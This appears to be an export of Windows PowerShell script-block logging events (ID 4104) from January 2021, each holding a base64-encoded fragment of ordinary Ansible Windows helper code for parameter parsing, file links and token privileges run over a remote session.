ZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdW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0-a1cd-d4a29006ed6e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2283 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (6 of 9):
pYmxlLkxpbmtVdGlsXTo6R2V0TGlua0luZm8oJGxpbmtfcGF0aCkKICAgIHJldHVybiAkbGlua19pbmZvCn0KCkZ1bmN0aW9uIFJlbW92ZS1MaW5rKCRsaW5rX3BhdGgpIHsKICAgIFtBbnNpYmxlLkxpbmtVdGlsXTo6RGVsZXRlTGluaygkbGlua19wYXRoKQp9CgpGdW5jdGlvbiBOZXctTGluaygkbGlua19wYXRoLCAkbGlua190YXJnZXQsICRsaW5rX3R5cGUpIHsKICAgIGlmICgtbm90IChUZXN0LVBhdGggLVBhdGggJGxpbmtfdGFyZ2V0KSkgewogICAgICAgIHRocm93ICJsaW5rX3RhcmdldCAnJGxpbmtfdGFyZ2V0JyBkb2VzIG5vdCBleGlzdCwgY2Fubm90IGNyZWF0ZSBsaW5rIgogICAgfQogICAgCiAgICBzd2l0Y2goJGxpbmtfdHlwZSkgewogICAgICAgICJsaW5rIiB7CiAgICAgICAgICAgICR0eXBlID0gW0Fuc2libGUuTGlua1R5cGVdOjpTeW1ib2xpY0xpbmsKICAgICAgICB9CiAgICAgICAgImp1bmN0aW9uIiB7CiAgICAgICAgICAgIGlmIChUZXN0LVBhdGggLVBhdGggJGxpbmtfdGFyZ2V0IC1QYXRoVHlwZSBMZWFmKSB7C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oJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAkZW1wdHlhdHRyaWJ1dGV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MgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICA
ScriptBlock ID: f4b99521-e5ec-4ed0-a1cd-d4a29006ed6e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2282 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 9):
yhzdHJpbmcgbGlua1BhdGgpCiAgICAgICAgewogICAgICAgICAgICBVSW50MzIgbWF4UGF0aCA9IDI2MDsKICAgICAgICAgICAgTGlzdDxzdHJpbmc+IHJlc3VsdCA9IG5ldyBMaXN0PHN0cmluZz4oKTsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgc2IgPSBuZXcgU3RyaW5nQnVpbGRlcigoaW50KW1heFBhdGgpOwogICAgICAgICAgICBVSW50MzIgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgaWYgKCFHZXRWb2x1bWVQYXRoTmFtZShsaW5rUGF0aCwgc2IsIHJlZiBzdHJpbmdMZW5ndGgpKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oIkdldFZvbHVtZVBhdGhOYW1lKCkgZmFpbGVkIik7CiAgICAgICAgICAgIHN0cmluZyB2b2x1bWUgPSBzYi5Ub1N0cmluZygpOwoKICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgSW50UHRyIGZpbmRIYW5kbGUgPSBGaW5kRmlyc3RGaWxlTmFtZVcobGlua1BhdGgsIDAsIHJlZiBzdHJpbmdMZW5ndGgsIHNiKTsKICAgICAgICAgICAgaWYgKGZpbmRIYW5kbGUuVG9JbnQ2NCgpICE9IElOVkFMSURfSEFORExFX1ZBTFVFKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBkbwogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGhhcmRMaW5rUGF0aCA9IHNiLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoYXJkTGlua1BhdGguU3RhcnRzV2l0aCgiXFwiKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhcmRMaW5rUGF0aCA9IGhhcmRMaW5rUGF0aC5TdWJzdHJpbmcoMSwgaGFyZExpbmtQYXRoLkxlbmd0aCAtIDEpOwoKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0LkFkZChQYXRoLkNvbWJpbmUodm9sdW1lLCBoYXJkTGlua1BhdGgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKCiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoRmluZE5leHRGaWxlTmFtZVcoZmluZEhhbmRsZSwgcmVmIHN0cmluZ0xlbmd0aCwgc2IpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBGaW5kQ2xvc2UoZmluZEhhbmRsZSk7CiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAocmVzdWx0LkNvdW50ID4gMSkKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgTGlua0luZm8KICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBUeXBlID0gTGlua1R5cGUuSGFyZExpbmssCiAgICAgICAgICAgICAgICAgICAgSGFyZFRhcmdldHMgPSByZXN1bHQuVG9BcnJheSgpCiAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBMaW5rSW5mbyBHZXRSZXBhcnNlUG9pbnRJbmZvKHN0cmluZyBsaW5rUGF0aCkKICAgICAgICB7CiAgICAgICAgICAgIFNhZmVGaWxlSGFuZGxlIGZpbGVIYW5kbGUgPSBDcmVhdGVGaWxlKAogICAgICAgICAgICAgICAgbGlua1BhdGgsCiAgICAgICAgICAgICAgICBGaWxlQWNjZXNzLlJlYWQsCiAgICAgICAgICAgICAgICBGaWxlU2hhcmUuTm9uZSwKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgRmlsZU1vZGUuT3BlbiwKICAgICAgICAgICAgICAgIEZJTEVfRkxBR19PUEVOX1JFUEFSU0VfUE9JTlQgfCBGSUxFX0ZMQUdfQkFDS1VQX1NFTUFOVElDUywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKTsKCiAgICAgICAgICAgIGlmIChmaWxlSGFuZGxlLklzSW52YWxpZCkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZUZpbGUoezB9KSBmYWlsZWQiLCBsaW5rUGF0aCkpOyAgICAgICAgICAgIAoKICAgICAgICAgICAgUkVQQVJTRV9EQVRBX0JVRkZFUiBidWZmZXIgPSBuZXcgUkVQQVJTRV9EQVRBX0JVRkZFUigpOwogICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfR0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgSW50UHRyLlplcm8sCiAgICAgICAgICAgICAgICAgICAgMCwKICAgICAgICAgICAgICAgICAgICBvdXQgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIE1BWElNVU1fUkVQQVJTRV9EQVRBX0JVRkZFUl9TSVpFLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgZm9yIGZpbGUgYXQgezB9IiwgbGlua1BhdGgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUuRGlzcG9zZSgpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBib29sIGlzUmVsYXRpdmUgPSBmYWxzZTsKICAgICAgICAgICAgaW50IHBhdGhPZmZzZXQgPSAwOwogICAgICAgICAgICBMaW5rVHlwZSBsaW5rVHlwZTsKICAgICAgICAgICAgaWYgKGJ1ZmZlci5SZXBhcnNlVGFnID09IElPX1JFUEFSU0VfVEFHX1NZTUxJTkspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFVJbnQzMiBidWZmZXJGbGFncyA9IENvbnZlcnQuVG9VSW50MzIoYnVmZmVyLlBhdGhCdWZmZXJbMF0pICsgQ29udmVydC5Ub1VJbnQzMihidWZmZXIuUGF0aEJ1ZmZlclsxXSk7CiAgICAgICAgICAgICAgICBpZiAoYnVmZmVyRmxhZ3MgPT0gU1lNTElOS19GTEFHX1JFTEFUSVZFKQogICAgICAgICAgICAgICAgICAgIGlzUmVsYXRpdmUgPSB0cnVlOwogICAgICAgICAgICAgICAgcGF0aE9mZnNldCA9IDI7CiAgICAgICAgICAgICAgICBsaW5rVHlwZSA9IExpbmtUeXBlLlN5bWJvbGljTGluazsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIGlmIChidWZmZXIuUmVwYXJzZVRhZyA9PSBJT19SRVBBUlNFX1RBR19NT1VOVF9QT0lOVCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgbGlua1R5cGUgPSBMaW5rVHlwZS5KdW5jdGlvblBvaW50OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nIGVycm9yTWVzc2FnZSA9IFN0cmluZy5Gb3JtYXQoIkludmFsaWQgUmVwYXJzZSBUYWc6IHswfSIsIGJ1ZmZlci5SZXBhcnNlVGFnLlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbihlcnJvck1lc3NhZ2UpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzdHJpbmcgcHJpbnROYW1lID0gbmV3IHN0cmluZyhidWZmZXIuUGF0aEJ1ZmZlciwgKGludCkoYnVmZmVyLlByaW50TmFtZU9mZnNldCAvIFNJWkVfT0ZfV0NIQVIpICsgcGF0aE9mZnNldCwgKGludCkoYnVmZmVyLlByaW50TmFtZUxlbmd0aCAvIFNJWkVfT0ZfV0NIQVIpKTsKICAgICAgICAgICAgc3RyaW5nIHN1YnN0aXR1dGVOYW1lID0gbmV3IHN0cmluZyhidWZmZXIuUGF0aEJ1ZmZlciwgKGludCkoYnVmZmVyLlN1YnN0aXR1dGVOYW1lT2Zmc2V0IC8gU0laRV9PRl9XQ0hBUikgKyBwYXRoT2Zmc2V0LCAoaW50KShidWZmZXIuU3Vic3RpdHV0ZU5hbWVMZW5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q2hhcnModW5pY29kZUJ5dGVzKTsKICAgICAgICAgICAgICAgIEFycmF5LkNvcHkocGF0aEJ1ZmZlciwgYnVmZmVyLlBhdGhCdWZmZXIsIHBhdGhCdWZmZXIuTGVuZ3RoKTsKCiAgICAgICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfU0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIChVSW50MzIpKGJ1ZmZlci5SZXBhcnNlRGF0YUxlbmd0aCArIDgpLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLCAwLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgdG8gY3JlYXRlIGp1bmN0aW9uIHBvaW50IGF0IHswfSB0byB7MX0iLCBsaW5rUGF0aCwgbGlua1RhcmdldCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZmlsZUhhbmRsZS5EaXNwb3NlKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KJ0AKCiAgICAjIEZVVFVSRTogZmluZCBhIGJldHRlciB3YXkgdG8gZ2V0IHRoZSBfYW5zaWJsZV9yZW1vdGVfdG1wIHZhcmlhYmxlCiAgICAkb3JpZ2luYWxfdG1wID0gJGVudjpUTVAKCiAgICAkcmVtb3RlX3RtcCA9ICRvcmlnaW5hbF90bX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-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 9):
rX3V0aWwgPSBAJwp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWM7CnVzaW5nIFN5c3RlbS5JTzsKdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOwp1c2luZyBTeXN0ZW0uVGV4dDsKCm5hbWVzcGFjZSBBbnNpYmxlCnsKICAgIHB1YmxpYyBlbnVtIExpbmtUeXBlCiAgICB7CiAgICAgICAgU3ltYm9saWNMaW5rLAogICAgICAgIEp1bmN0aW9uUG9pbnQsCiAgICAgICAgSGFyZExpbmsKICAgIH0KCiAgICBwdWJsaWMgY2xhc3MgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbiA6IFN5c3RlbS5Db21wb25lbnRNb2RlbC5XaW4zMkV4Y2VwdGlvbgogICAgewogICAgICAgIHByaXZhdGUgc3RyaW5nIF9tc2c7CgogICAgICAgIHB1YmxpYyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSA6IHRoaXMoTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpLCBtZXNzYWdlKSB7IH0KCiAgICAgICAgcHVibGljIExpbmtVdGlsV2luMzJFeGNlcHRpb24oaW50IGVycm9yQ29k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1dGVzLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuVTQpXSBGaWxlTW9kZSBkd0NyZWF0aW9uRGlzcG9zaXRpb24sCiAgICAgICAgICAgIFVJbnQzMiBkd0ZsYWdzQW5kQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGhUZW1wbGF0ZUZpbGUpOwoKICAgICAgICAvLyBVc2VkIGJ5IEdldFJlcGFyc2VQb2ludEluZm8oKQogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIERldmljZUlvQ29udHJvbCgKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaERldmljZSwKICAgICAgICAgICAgVUludDMyIGR3SW9Db250cm9sQ29kZSwKICAgICAgICAgICAgSW50UHRyIGxwSW5CdWZmZXIsCiAgICAgICAgICAgIFVJbnQzMiBuSW5CdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgUkVQQVJTRV9EQVRBX0JVRkZFUiBscE91dEJ1ZmZlciwKICAgICAgICAgICAgVUludDMyIG5PdXRCdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgVUludDMyIGxwQnl0ZXNSZXR1cm5lZCwKICAgICAgICAgICAgSW50UHRyIGxwT3ZlcmxhcHBlZCk7CgogICAgICAgIC8vIFVzZWQgYnkgQ3JlYXRlSnVuY3Rpb25Qb2ludCgpCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIGJvb2wgRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICBTYWZlRmlsZUhhbmRsZSBoRGV2aWNlLAogICAgICAgICAgICBVS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2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBGaW5kTmV4dEZpbGVOYW1lVygKICAgICAgICAgICAgSW50UHRyIGhGaW5kU3RyZWFtLAogICAgICAgICAgICByZWYgVUludDMyIFN0cmluZ0xlbmd0aCwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBMaW5rTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEZpbmRDbG9zZSgKICAgICAgICAgICAgSW50UHRyIGhGaW5kRmlsZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIFJlbW92ZURpcmVjdG9yeSgKICAgICAgICAgICAgc3RyaW5nIGxwUGF0aE5hbWUpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBEZWxldGVGaWxlKAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIENyZWF0ZVN5bWJvbGljTGluaygKICAgICAgICAgICAgc3RyaW5nIGxwU3ltbGlua0ZpbGVOYW1lLAogICAgICAgICAgICBzdHJpbmcgbHBUYXJnZXRGaWxlTmFtZ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F0dHIuSGFzRmxhZyhGaWxlQXR0cmlidXRlcy5EaXJlY3RvcnkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdWNjZXNzID0gUmVtb3ZlRGlyZWN0b3J5KGxpbmtQYXRoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN1Y2Nlc3MgPSBEZWxldGVGaWxlKGxpbmtQYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFzdWNjZXNzKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiRmFpbGVkIHRvIGRlbGV0ZSBsaW5rIGF0IHswfSIsIGxpbmtQYXRoKSk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgQ3JlYXRlTGluayhzdHJpbmcgbGlua1BhdGgsIFN0cmluZyBsaW5rVGFyZ2V0LCBMaW5rVHlwZSBsaW5rVHlwZSkKICAgICAgICB7CiAgICAgICAgICAgIHN3aXRjaCAobGlua1R5cGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgTGlua1R5cGUuU3ltYm9saWNMaW5rOgogICAgICAgICAgICAgICAgICAgIFVJbnQzMiBsaW5rRmxhZ3M7CiAgICAgICAgICAgICAgICAgICAgRmlsZUF0dHJpYnV0ZXMgYXR0ciA9IEZpbGUuR2V0QXR0cmlidXRlcyhsaW5rVGFyZ2V0KTsKICAgICAgICAgICAgICAgICAgICBpZiAoYXR0ci5IYXNGbGFnKEZpbGVBdHRyaWJ1dGVzLkRpcmVjdG9yeSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmtGbGFncyA9IFNZTUJPTElDX0xJTktfRkxBR19ESVJFQ1RPUlk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBsaW5rRmxhZ3MgPSBTWU1CT0xJQ19MSU5LX0ZMQUdfRklMRTsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCFDcmVhdGVTeW1ib2xpY0xpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIGxpbmtGbGFncykpCiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZVN5bWJvbGljTGluayh7MH0sIHsxfSwgezJ9KSBmYWlsZWQiLCBsaW5rUGF0aCwgbGlua1RhcmdldCwgbGlua0ZsYWdzKSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkp1bmN0aW9uUG9pbnQ6CiAgICAgICAgICAgICAgICAgICAgQ3JlYXRlSnVuY3Rpb25Qb2ludChsaW5rUGF0aCwgbGlua1RhcmdldCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkhhcmRMaW5rOgogICAgICAgICAgICAgICAgICAgIGlmICghQ3JlYXRlSGFyZExpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiQ3JlYXRlSGFyZExpbmsoezB9LCB7MX0pIGZhaWxlZCIsIGxpbmtQYXRoLCBsaW5rVGFyZ2V0KSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHByaXZhdGUgc3RhdGljIExpbmtJbmZvIEdldEhhcmRMaW5rSW5mb
ScriptBlock ID: f4b99521-e5ec-4ed0-a1cd-d4a29006ed6e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2280 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 9):
CAgUHRyVG9TdHJ1Y3R1cmVBcnJheShvbGRTdGF0ZVByaXZpbGVnZXMsIEludFB0ci5BZGQob2xkU3RhdGVQdHIsIE1hcnNoYWwuU2l6ZU9mKG9sZFN0YXRlLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBNYXJzaGFsLkZyZWVIR2xvYmFsKG9sZFN0YXRlUHRyKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5DbG9zZUhhbmRsZShoVG9rZW4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAg